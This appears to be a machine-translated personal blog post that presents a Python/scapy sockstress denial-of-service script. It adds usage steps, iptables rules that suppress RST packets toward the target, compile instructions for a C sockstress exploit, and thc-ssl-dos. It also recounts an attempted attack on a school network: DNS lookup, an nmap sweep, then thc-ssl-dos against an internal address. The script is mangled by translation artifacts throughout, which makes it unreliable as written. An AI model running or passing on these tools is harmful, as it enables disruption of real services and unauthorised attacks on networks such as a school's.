In order to prove that I'm still alive, did not talk much
Dos attacks script (which is a sockstrees Dos script)
1 #-*- coding:utf-8 -*- 2 from scapy.all import * 3 from time import sleep 4 import thread 5 import logging 6 import os 7 import signal 8 import sys 9 10 from scapy.layers.inet import IP,TCP 11 12 logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 13 14 if! len (the sys.argv) =. 4 : 15 Print ( " Usage: ./sock_stress.py [the IP Target] [port] [threads] " ) 16 Print ( " Example: ./scok_stress.py [1.1.1.1] 20 port ## is open to attack " ) . 17 the sys.exit () 18 is . 19 target = STR (the sys.argv [. 1 ]) 20 dstport A = int (the sys.argv [2 ]) 21 is Threads = int (the sys.argv [ 3 ]) 22 is 23 is # # attack functions 24 DEF sock_stress (target, dstport A): 25 the while 0 == 0: 26 is the try : 27 X = the random.randint (0,65535 ) 28 Response = SR1 (the IP (DST = target) / the TCP (Sport = X, = dport dstport A, the flags = ' S ' ), timeout =. 1, verboss = 0) 29 Send (the IP (DST = target) / the TCP (dport = dstport A, X = Sport, window = 0, the flags = ' A ' , ACK = (Response [the TCP] + .seq. 1)) / ' \ xOO \ xOO ' , verboss = 0) 30 the except : 31 is Pass 32 # # stop the attack function 33 is DEF the shutdown (Signal, Frame): 34 is Print ( " Restoring ipables rule ") 35 the os.system ( ' iptables -D the OUTPUT -p-TCP --tcp the flags the RST -d ' + target + ' -j the DROP ' ) 36 the sys.exit () 37 [ 38 is # # add iptables rules 39 40 the os.system ( ' iptables -A the OUTPUT -p-TCP --tcp the flags the RST the RST -d ' + target + ' -j the DROP ' ) 41 is signal.signal (signal.SIGINT, the shutdown) 42 is 43 is # # multithreaded attack 44 is Print ( " \ n attack in progress ... press Ctrl + C to stop the attack . " ) 45 for x in range(0,threads): 46 thread.start_new_thread(sock_stress,(target,dstport)) 47 48 ##永远执行 49 while 0==0: 50 sleep(1)
A,. / Sockstrees (see Use yield)
二、./sockstress.py [ip] [port] 200
Three, iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP (ip manually added)
Four, iptables -L (see the add ip)
------------------------------------------------------------------------------------------------
Exploit sockstress.c on the Great God
First, the installation: gcc -Wall -c sockstress.c
Compile: gcc -pthread -o sockstress sockstress.o
Second, the instructions: ./ sockstress [ip]: [port] eth0 10
(Particularly useful)
------------------------------------------------------------------------------------------------
About school network penetration
A, dig school domain
Two, nmap -v [ip] (prepared all known ip, analyzed one by one)
Third, try to open ports
Fourth, try to attack
(I try to attack command: thc-ssl-dos 172.18.36.254 80 --accpet This is an attack on the TCP handshake resources, but unfortunately my first attack failed ...)
Website : http://www.tonyplot.xyz